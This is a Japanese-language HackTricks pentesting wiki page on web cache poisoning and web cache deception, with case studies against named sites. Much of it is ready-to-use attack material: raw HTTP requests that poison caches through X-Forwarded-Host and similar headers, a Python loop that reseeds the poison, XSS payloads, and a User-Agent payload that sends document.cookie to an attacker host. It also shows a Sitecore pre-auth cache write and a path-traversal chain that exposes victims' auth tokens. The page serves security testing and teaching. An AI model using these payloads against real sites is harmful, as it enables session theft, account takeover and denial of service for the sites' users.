Cache Poisoning and Cache Deception
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
違い
web cache poisoning と web cache deception の違いは何ですか?
- In web cache poisoning, 攻撃者はアプリケーションに悪意あるコンテンツをキャッシュに保存させ、そのコンテンツがキャッシュから他のアプリケーションユーザーに配信されます。
- In web cache deception, 攻撃者は別のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
Cache Poisoning
Cache poisoning はクライアント側のキャッシュを操作して、クライアントに予期しない、部分的な、または攻撃者が制御するリソースを読み込ませることを目的としています。影響の範囲は対象ページの人気度に依存し、汚染されたレスポンスはキャッシュが汚染されている期間にそのページを訪れるユーザーにのみ提供されます。
cache poisoning 攻撃の実行は以下のステップを含みます:
- Identification of Unkeyed Inputs: キャッシュに保存するために必須ではないが、サーバーが返すレスポンスを変更し得るパラメータを特定します。これらの入力を特定することは、キャッシュを操作するための重要な手がかりです。
- Exploitation of the Unkeyed Inputs: unkeyed inputs を特定したら、次はこれらのパラメータをどのように悪用してサーバーのレスポンスを攻撃者に有利な形で変更できるかを突き止めます。
- Ensuring the Poisoned Response is Cached: 最後に、改ざんしたレスポンスがキャッシュに保存されることを確認します。こうすることで、キャッシュが汚染されている間に該当ページにアクセスするユーザーは汚染されたレスポンスを受け取ります。
発見: HTTP ヘッダーを確認
通常、レスポンスが stored in the cache ときにはそれを示すヘッダーが付与されることが多いです。どのヘッダーに注意すべきかはこの投稿で確認してください: HTTP Cache headers.
発見: エラーコードのキャッシュ
レスポンスがキャッシュに保存されているか疑う場合、bad header を付けてリクエストを送信してみると、そのリクエストは status code 400 で応答されるはずです。次に通常どおりそのリクエストにアクセスして、response が 400 status code であれば脆弱であることが分かります(場合によっては DoS を実行できることすらあります)。
You can find more options in:
ただし、これらの種類の status codes はキャッシュされないことがあるため、このテストは必ずしも信頼できるとは限りません。
発見: unkeyed inputs の特定と評価
Param Miner を使って、ページのレスポンスを変更している可能性のあるパラメータやヘッダーをブルートフォースすることができます。例えば、ページがクライアントにスクリプトをそこから読み込ませるためにヘッダー X-Forwarded-For を使用している場合があります:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Elicit a harmful response from the back-end server
パラメータ/ヘッダーを特定したら、それがどのようにサニタイズされているか、またヘッダーからのレスポンスにどこで****反映されているかを確認してください。どうしても悪用できますか(XSSを実行する、または自分で制御するJSコードを読み込ませる、DoSを行うなど)?
Get the response cached
悪用可能なページ、使用するパラメータ/ヘッダー、およびどのように悪用するかを特定したら、そのページをキャッシュさせる必要があります。キャッシュに格納されるまでに時間がかかる場合があり、数秒間リクエストを試行し続ける必要があるかもしれません。
レスポンスのヘッダー X-Cache は非常に有用で、リクエストがキャッシュされていないときは miss、キャッシュされているときは hit という値になることがあります。
ヘッダー Cache-Control も、リソースがキャッシュされているかどうかや次にいつキャッシュされるかを知るうえで重要です: Cache-Control: public, max-age=1800
もう一つ興味深いヘッダーは Vary です。このヘッダーは、通常はキー化されないヘッダーであってもキャッシュの一部として扱われる追加のヘッダーを示すために使われることが多いです。したがって、攻撃対象が使っている User-Agent を知っていれば、その特定の User-Agent を使うユーザー向けにキャッシュを毒することができます。
キャッシュに関連するもう1つのヘッダーは Age です。これはオブジェクトがプロキシキャッシュ内に存在していた時間を秒単位で定義します。
リクエストをキャッシュするときは、使用するヘッダーに注意してください。なぜなら、いくつかのヘッダーは予期せずキー化されてしまうことがあり、被害者も同じヘッダーを使用する必要があるからです。常に異なるブラウザでCache Poisoningをテストして、動作するか確認してください。
Foundational cache poisoning case studies
HackerOne global redirect via X-Forwarded-Host
- The origin templated redirects and canonical URLs with
X-Forwarded-Host, but the cache key only used theHostheader, so a single response poisoned every visitor to/. - Poison with:
GET / HTTP/1.1
Host: hackerone.com
X-Forwarded-Host: evil.com
- Immediately re-request
/without the spoofed header; if the redirect persists you have a global host-spoofing primitive that often upgrades reflected redirects/Open Graph links into stored issues.
GitHub リポジトリ DoS via Content-Type + PURGE
- 匿名トラフィックは path のみでキー付けされており、バックエンドは予期しない
Content-Typeを受け取るとエラー状態に陥りました。そのエラー応答は、repo のすべての未認証ユーザーに対してキャッシュ可能でした。 - GitHub は偶発的に
PURGEverb も認めており、攻撃者が正常なエントリをフラッシュして、キャッシュに要求に応じて毒されたバリアントを取りに行かせることを可能にしていました:
curl -H "Content-Type: invalid-value" https://github.com/user/repo
curl -X PURGE https://github.com/user/repo
- 常に authenticated vs anonymous の cache keys を比較し、
Content-Typeのような滅多にキー化されないヘッダを fuzz し、公開されている cache-maintenance verbs をプローブして re-poisoning を自動化します。
Shopify cross-host persistence loops
- Multi-layer caches は、時に新しいオブジェクトをコミットする前に複数回の同一ヒットを必要とします。Shopify は同じ cache を多数のローカライズされた hosts 間で再利用していたため、persistence が多くの properties に影響を与えました。
- 短い automation loops を使って繰り返し reseed します:
import requests, time
for i in range(100):
requests.get("https://shop.shopify.com/endpoint",
headers={"X-Forwarded-Host": "attacker.com"})
time.sleep(0.1)
print("attacker.com" in requests.get("https://shop.shopify.com/endpoint").text)
hitレスポンスの後、同じキャッシュネームスペースを共有する他のホスト/アセットをクロールして、クロスドメインの被害範囲を実証する。
JSアセットのリダイレクト → stored XSS チェーン
- プライベートプログラムでは、
/assets/main.jsのような共有JSを数十のサブドメインにまたがってホストしていることが多い。もしX-Forwarded-Hostがそれらのアセットのリダイレクトロジックに影響を与え、かつキーで検証されていない場合、キャッシュされたレスポンスは攻撃者のJSへの301となり、アセットがインポートされるすべての場所で stored XSS を引き起こす。
GET /assets/main.js HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com
- 同じ asset path を再利用しているホストをマップして、multi-subdomain compromise を立証できるようにする。
GitLab static DoS via X-HTTP-Method-Override
- GitLab は Google Cloud Storage から static bundles を配信しており、
X-HTTP-Method-Overrideを尊重していた。GET を HEAD にオーバーライドすると、キャッシュ可能な200 OK(Content-Length: 0)が返され、edge cache はキー生成時に HTTP メソッドを無視していた。
GET /static/app.js HTTP/1.1
Host: gitlab.com
X-HTTP-Method-Override: HEAD
- 単一のリクエストがすべての GET に対して JS バンドルを空の body に置き換え、結果的に UI を DoSing してしまった。常に method overrides (
X-HTTP-Method-Override,X-Method-Override, etc.) を static assets に対してテストし、cache が method によって変化するかを確認する。
HackerOne static asset loop via X-Forwarded-Scheme
- Rails’ Rack middleware は
X-Forwarded-Schemeを信頼して HTTPS を強制するかどうかを判断していた。/static/logo.pngに対してhttpを偽装するとキャッシュ可能な 301 を引き起こし、その結果すべてのユーザーがアセットの代わりにリダイレクト(またはループ)を受け取るようになった:
GET /static/logo.png HTTP/1.1
Host: hackerone.com
X-Forwarded-Scheme: http
- 可能であれば scheme spoofing と host spoofing を組み合わせて、目立つリソースに対して不可逆的なリダイレクトを作成する。
Cloudflare host-header の大文字小文字不一致
- Cloudflare はキャッシュキーのために
Hostヘッダを正規化したが、生の大文字小文字のままオリジンに転送した。Host: TaRgEt.CoMを送ると、正準の小文字キャッシュバケットが埋められる一方で、オリジンの routing/templating に別の挙動を引き起こした。
GET / HTTP/1.1
Host: TaRgEt.CoM
- CDNテナントを、mixed-case hosts(およびその他の normalized headers)をリプレイして列挙し、cached response と origin response を diff して shared-platform cache poisonings を発見する。
Red Hat Open Graph meta poisoning
- Open Graph タグ内に
X-Forwarded-Hostを注入すると、CDN がページをキャッシュした際に reflected HTML injection が stored XSS に変わった。テスト中は harmless cache buster を使用し、production users に被害が及ばないようにする:
GET /en?dontpoisoneveryone=1 HTTP/1.1
Host: www.redhat.com
X-Forwarded-Host: a."?><script>alert(1)</script>
- ソーシャルメディアのスクレイパーはキャッシュされた Open Graph タグを参照するため、1つの poisoned エントリがペイロードを直接の訪問者をはるかに超えて拡散します。
悪用の例
最も簡単な例
X-Forwarded-For のようなヘッダがレスポンスにサニタイズされずに反映されている。
基本的な XSS payload を送ってキャッシュを poison すれば、ページにアクセスする全員が XSSed されます:
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
この操作は /en?region=uk へのリクエストを poison し、/en にはしないことに注意してください
Cache poisoning to DoS
Cache poisoning through CDNs
this writeup では以下の単純なシナリオが説明されています:
- CDN は
/share/以下のすべてを cache する - CDN は
%2F..%2Fをデコードも正規化もしないため、これを path traversal として利用して、https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123のようにキャッシュされる他のセンシティブな場所にアクセスできる - web server は
%2F..%2Fをデコード・正規化し、/api/auth/sessionを返す。これには auth token が含まれている
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies はページのレスポンスに反映されることもあります。例えばこれを悪用して XSS を発生させられれば、悪意ある cache response を読み込む複数の clients で XSS を悪用できる可能性があります。
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Note that if the vulnerable cookie is very used by the users, regular requests will be cleaning the cache.
区切り文字、正規化、およびドットによる差異の生成
Check:
Cache Poisoning via URL discrepancies
path traversal を使った Cache poisoning による API key の窃取
This writeup explains how it was possible to steal an OpenAI API key with an URL like https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 because anything matching /share/* will be cached without Cloudflare normalising the URL, which was done when the request reached the web server.
This is also explained better in:
Cache Poisoning via URL discrepancies
複数のヘッダを使用して web cache poisoning の脆弱性を悪用する
場合によっては、キャッシュを悪用するために 複数のキー指定されていない入力を悪用する 必要があります。例えば、X-Forwarded-Host をあなたが管理するドメインに設定し、X-Forwarded-Scheme を http に設定すると Open redirect を見つけられることがあります。もし サーバ がすべての HTTP リクエストを HTTPS に転送し、リダイレクト先のドメイン名としてヘッダ X-Forwarded-Scheme を使用している場合、リダイレクト先を制御できます。
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
限られた Varyheader を悪用する
もし、X-Host ヘッダーが domain name to load a JS resource として使用されていて、レスポンスの Vary ヘッダーが User-Agent を示していることが分かったら、被害者の User-Agent を exfiltrate して、その user agent を使って cache を poison する方法を見つける必要があります:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
URLとbodyの両方にリクエストを入れたGETリクエストを送る。もしweb serverがbodyの方を使い、cache serverがURLの方をキャッシュする場合、そのURLにアクセスした誰でも実際にはbodyのパラメータが使われる。James KettleがGithubのウェブサイトで見つけたvulnのように:
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
この件に関する Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
例えば、ruby サーバでは parameters を区切るのに & の代わりに文字 ; を使えることがあります。これを利用して、unkeyed なパラメータの値を keyed なパラメータ内に入れ込み、悪用することが可能です。
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
ここでは Cache Poisoning attacks by abusing HTTP Request Smuggling を実行する方法について学べます。
Web Cache Poisoning の自動テスト
The Web Cache Vulnerability Scanner は Web Cache Poisoning を自動的にテストするために使用できます。多くの手法をサポートしており、高度にカスタマイズ可能です。
使い方の例: wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
この実例パターンは、ヘッダベースの反射プリミティブと CDN/WAF の挙動を組み合わせて、他のユーザに配信されるキャッシュ済み HTML を確実に汚染します:
- メインの HTML が信頼できないリクエストヘッダ(例:
User-Agent)を実行可能なコンテキストに反映していた。 - CDN はキャッシュヘッダを削除したが、内部/オリジン側にキャッシュが存在した。CDN はまた静的拡張子(例:
.js)で終わるリクエストを自動でキャッシュし、WAF は静的アセットに対する GET に対してより緩いコンテンツ検査を適用していた。 - リクエストフローの特異点により、
.jsパスへのリクエストがその後のメイン HTML に使われるキャッシュキー/バリアントに影響を与え、ヘッダ反射を介したクロスユーザ XSS を可能にした。
実用的な手順(ある有名な CDN/WAF 上で観測):
- クリーンな IP から(過去のレピュテーションに基づく評価低下を避ける)、ブラウザまたは Burp Proxy の Match & Replace を使って悪意ある
User-Agentを設定する。 - Burp Repeater で、2つのリクエストのグループを用意し “Send group in parallel”(single-packet mode が最適)を使用する:
- 最初のリクエスト: 同一オリジンの
.jsリソースパスに対して悪意あるUser-Agentを送信して GET する。 - 直後に: メインページ (
/) を GET する。
- CDN/WAF のルーティング競合と自動キャッシュされた
.jsにより、汚染されたキャッシュ済み HTML のバリアントがシードされ、同じキャッシュキー条件(例:Varyの次元が同じ、たとえばUser-Agent)を共有する他の訪問者に配信されることがよくあります。
Example header payload (to exfiltrate non-HttpOnly cookies):
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Many CDNs hide cache headers; poisoning may appear only on multi-hour refresh cycles. Use multiple vantage IPs and throttle to avoid rate-limit or reputation triggers.
- CDN 自体のクラウドの IP を使用するとルーティングの一貫性が向上することがある。
- もし厳格な CSP が存在していても、反射がメインの HTML コンテキストで実行され、CSP が inline 実行を許可しているかコンテキストでバイパスできる場合はこれでも動作する。
Impact:
- セッション Cookie が
HttpOnlyでない場合、poisoned HTML を配信されたすべてのユーザーからdocument.cookieを mass-exfiltrating することで、zero-click ATO が可能になる。
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
Sitecore 特有のパターンにより、pre‑auth XAML handlers と AjaxScriptManager reflection を悪用して HtmlCache への認証不要な書き込みが可能になる。Sitecore.Shell.Xaml.WebControl ハンドラに到達すると、xmlcontrol:GlobalHeader(Sitecore.Web.UI.WebControl 派生)が利用可能になり、以下の reflective call が許可される:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
This writes arbitrary HTML under an attacker‑chosen cache key, enabling precise poisoning once cache keys are known.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
脆弱な例
Apache Traffic Server (CVE-2021-27577)
ATS は URL 内のフラグメントを取り除かずに転送し、cache key を host, path, query のみを使って生成していました(フラグメントは無視)。そのため、リクエスト /#/../?r=javascript:alert(1) はバックエンドへ /#/../?r=javascript:alert(1) として送信されましたが、cache key にはペイロードは含まれず host, path, query のみが使われていました。
403 と Storage Buckets
Cloudflare は以前 403 レスポンスをキャッシュしていました。誤った Authorization ヘッダで S3 や Azure Storage Blobs にアクセスを試みると 403 レスポンスが返り、それがキャッシュされていました。Cloudflare は 403 のキャッシュを停止しましたが、他のプロキシサービスで同様の挙動が残っている可能性があります。
Injecting Keyed Parameters
キャッシュはしばしば特定の GET パラメータを cache key に含めます。例えば Fastly の Varnish はリクエスト中の size パラメータをキャッシュしていました。しかし、URL エンコードされた別名のパラメータ(例: siz%65)が誤った値で送られると、cache key は正しい size パラメータを使って構成される一方で、バックエンドは URL エンコードされたパラメータの値を処理してしまいます。2 番目の size パラメータを URL エンコードすると、キャッシュからは省かれるがバックエンドで利用される、という現象が発生します。このパラメータに 0 を割り当てると、キャッシュ可能な 400 Bad Request エラーが生じました。
User Agent ルール
一部の開発者は FFUF や Nuclei のような高トラフィックツールの user-agent を持つリクエストをブロックしてサーバ負荷を管理します。皮肉にも、このアプローチは cache poisoning や DoS といった脆弱性を招くことがあります。
不正なヘッダーフィールド
RFC7230 はヘッダー名に許容される文字を定めています。指定された tchar 範囲外の文字を含むヘッダは本来なら 400 Bad Request を引き起こすべきです。実際にはサーバがこの標準に従わないことがあり、Akamai の注目すべき例では不正な文字を含むヘッダを転送し、cache-control ヘッダが存在しない限り 400 エラーをキャッシュしていました。\\ のような不正文字を含むヘッダを送るとキャッシュ可能な 400 Bad Request エラーになる、というパターンが確認されました。
新しいヘッダの発見
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
目的は、クライアントに「キャッシュに保存されるリソース(その中に機密情報が含まれている)」を読み込ませることです。
まず、.css, .js, .png などの拡張子は通常 cache に保存するように設定されていることが多い点に注意してください。したがって、www.example.com/profile.php/nonexistent.js にアクセスすると、拡張子が .js と見なされるためレスポンスはキャッシュされる可能性が高いです。しかし、もしアプリケーションが www.example.com/profile.php に保存された機密ユーザ内容を返している場合、他のユーザのその内容を盗むことができます。
他にテストすべきもの:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
非常にわかりやすい例はこの write-up にあります: [https://hackerone.com/reports/593712]。
その例では、http://www.example.com/home.php/non-existent.css のような存在しないページを読み込むと http://www.example.com/home.php の内容(ユーザの機密情報を含む)が返され、キャッシュサーバがその結果を保存することが説明されています。
その後、attacker は自分のブラウザで http://www.example.com/home.php/non-existent.css にアクセスして、先にアクセスしたユーザの confidential information を観察できます。
注意すべきは、cache proxy がファイルの extension(.css)に基づいてキャッシュを行うように設定されており、content-type に基づいていない点です。例では http://www.example.com/home.php/non-existent.css の content-type は text/html になり、text/css ではありません。
実行方法についてはこちらを参照 Cache Deceptions attacks abusing HTTP Request Smuggling.
CSPT-assisted authenticated cache poisoning (Account Takeover)
このパターンは、Single-Page App (SPA) 内の Client-Side Path Traversal (CSPT) プリミティブと、拡張子ベースの CDN キャッシュを組み合わせ、もともと認証された API 呼び出しでしか得られない機密 JSON を公開キャッシュしてしまうものです。
ハイレベルなアイデア:
- 機密 API エンドポイントはカスタム認証ヘッダを要求し、origin 側で正しく non-cacheable とマークされている。
- 静的に見えるサフィックス(例: .css)を付けると CDN はパスを静的アセットとして扱いレスポンスをキャッシュすることがあり、機密ヘッダでの vary を行わないことが多い。
- SPA は CSPT を含む: ユーザ制御のパスセグメントを API URL に連結しつつ被害者の認証ヘッダ(例: X-Auth-Token)を付けて fetch する。
../..のトラバーサルを注入すると、認証付きの fetch がキャッシュ可能なパスバリアント(…/v1/token.css)にリダイレクトされ、CDN が被害者の token JSON を公開キーでキャッシュしてしまう。 - その後は誰でも同じ cache key を認証なしで GET すれば被害者の token を取得できる。
Example
- Sensitive endpoint (non-cacheable at origin):
GET /v1/token HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: Miss from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- 静的に見えるサフィックスがCDNをキャッシュ可能に切り替える:
GET /v1/token.css HTTP/1.1
Host: api.example.com
X-Auth-Token: <REDACTED>
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
Cache-Control: max-age=86400, public
X-Cache: Hit from cdn
{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
- CSPT in SPA は auth header を付与し、traversal を許可する:
const urlParams = new URLSearchParams(window.location.search);
const userId = urlParams.get('userId');
const apiUrl = `https://api.example.com/v1/users/info/${userId}`;
fetch(apiUrl, {
method: 'GET',
headers: { 'X-Auth-Token': authToken }
});
- エクスプロイトチェーン:
- 被害者を、SPAのパスパラメータにドットセグメントを注入するようなURLに誘導する(例):
- SPAが認証付きfetchを次のように発行する:
- ブラウザの正規化により以下に解決される:
- CDNは.cssを静的アセットと見なして、Cache-Control: public, max-age=…付きでJSONをキャッシュする。
- 公開取得:誰でも https://api.example.com/v1/token.css をGETしてキャッシュされたtoken JSONを取得できる。
前提条件
- SPAが同一のAPIオリジン(または有効なCORSでのクロスオリジン)に対して認証付きのfetch/XHRを行い、機密性の高いヘッダやbearer tokensを付与する。
- Edge/CDNが拡張子ベースのキャッシュを静的に見えるパス(例: *.css, *.js, images)に対して適用し、機密ヘッダによってキャッシュキーを変化させない。
- ベースエンドポイントのOriginはキャッシュ不可(正しい挙動)だが、拡張子付きのバリアントが許可されているか、edgeルールでブロックされていない。
検証チェックリスト
- 機密性の高い動的エンドポイントを特定し、.css, .js, .jpg, .jsonなどのサフィックスを試す。コンテンツがJSONのままで、Cache-Control: public/max-ageやX-Cache: Hit(または同等の、例: CF-Cache-Status)を確認する。
- 認証ヘッダを付与しつつユーザ制御可能な入力をAPIパスに連結しているクライアントコードを特定する。../シーケンスを注入して認証済みリクエストをターゲットのエンドポイントにリダイレクトする。
- リターゲットされたリクエストに認証ヘッダが含まれていること(例: proxyやサーバー側ログで)を確認し、CDNがその通過したパスでレスポンスをキャッシュすることを確認する。
- 新しいコンテキスト(認証なし)から同じパスにリクエストを送り、機密JSONがキャッシュから返されることを確認する。
自動ツール
- toxicache: Golang製スキャナ。URLリストでweb cache poisoningの脆弱性を見つけ、複数の注入手法をテストする。
- CacheDecepHound: webサーバでのCache Deception脆弱性を検出するためのPython製スキャナ。
References
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
- Cache Deception + CSPT: Turning Non Impactful Findings into Account Takeover
- CSPT overview by Matan Berson
- CSPT presentation by Maxence Schmitt
- PortSwigger: Web Cache Deception
- Cache Poisoning Case Studies Part 1: Foundational Attacks Behind a $100K+ Vulnerability Class
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。


